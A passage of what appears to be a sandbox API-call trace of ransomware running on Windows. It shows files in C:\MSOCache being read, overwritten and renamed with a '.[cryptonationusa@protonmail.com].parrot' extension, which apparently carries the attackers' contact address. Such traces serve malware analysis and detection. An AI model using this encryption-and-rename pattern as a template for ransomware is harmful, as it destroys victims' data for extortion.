out: lpNewFilePointer=0xffffffff) returned 1 [0117.584] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0117.585] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.585] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0117.668] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.668] WriteFile (in: hFile=0x260, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0117.669] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.669] WriteFile (in: hFile=0x260, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0117.672] UnlockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x266b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0117.672] CloseHandle (hObject=0x260) returned 1 [0117.672] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0117.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687258 | out: hHeap=0x5b0000) returned 1 [0117.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0117.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0117.833] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0117.833] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0117.835] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.835] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x545, lpOverlapped=0x0) returned 1 [0117.835] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.836] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0117.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687258 | out: hHeap=0x5b0000) returned 1 [0117.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0117.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0117.841] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0117.841] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0117.842] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.843] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0117.987] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.988] WriteFile (in: hFile=0x284, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0117.988] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.988] WriteFile (in: hFile=0x284, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0117.991] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ab7fac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0117.991] CloseHandle (hObject=0x284) returned 1 [0117.992] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0117.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a780 | out: hHeap=0x5b0000) returned 1 [0117.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0117.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0118.000] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.000] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0118.004] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.004] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x91975, lpOverlapped=0x0) returned 1 [0118.040] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.070] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687258 | out: hHeap=0x5b0000) returned 1 [0118.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0118.076] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.076] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.078] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.078] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xd4200, lpOverlapped=0x0) returned 1 [0118.110] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.202] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6868a0 | out: hHeap=0x5b0000) returned 1 [0118.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0118.209] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.209] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.211] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.211] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x333, lpOverlapped=0x0) returned 1 [0118.212] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.212] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6868a0 | out: hHeap=0x5b0000) returned 1 [0118.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0118.215] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.215] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.216] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.216] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xa40, lpOverlapped=0x0) returned 1 [0118.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.217] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6868a0 | out: hHeap=0x5b0000) returned 1 [0118.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0118.231] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.231] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.233] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.233] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.266] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.267] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0118.267] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.267] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.270] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e6718, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0118.270] CloseHandle (hObject=0x27c) returned 1 [0118.270] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686b88 | out: hHeap=0x5b0000) returned 1 [0118.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0118.277] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.277] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.285] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.285] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x10b2, lpOverlapped=0x0) returned 1 [0118.286] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.286] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686b88 | out: hHeap=0x5b0000) returned 1 [0118.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689240 | out: hHeap=0x5b0000) returned 1 [0118.294] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.294] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.296] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.296] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.376] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.376] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0118.377] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.377] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.379] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x228e074, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0118.379] CloseHandle (hObject=0x27c) returned 1 [0118.380] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.383] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686b88 | out: hHeap=0x5b0000) returned 1 [0118.383] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.383] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0118.390] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.390] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.394] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.394] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xaec3a, lpOverlapped=0x0) returned 1 [0118.424] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.466] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69aac8 | out: hHeap=0x5b0000) returned 1 [0118.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0118.473] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.473] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.475] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.476] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.512] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.512] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0118.513] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.513] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.562] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a41d18, 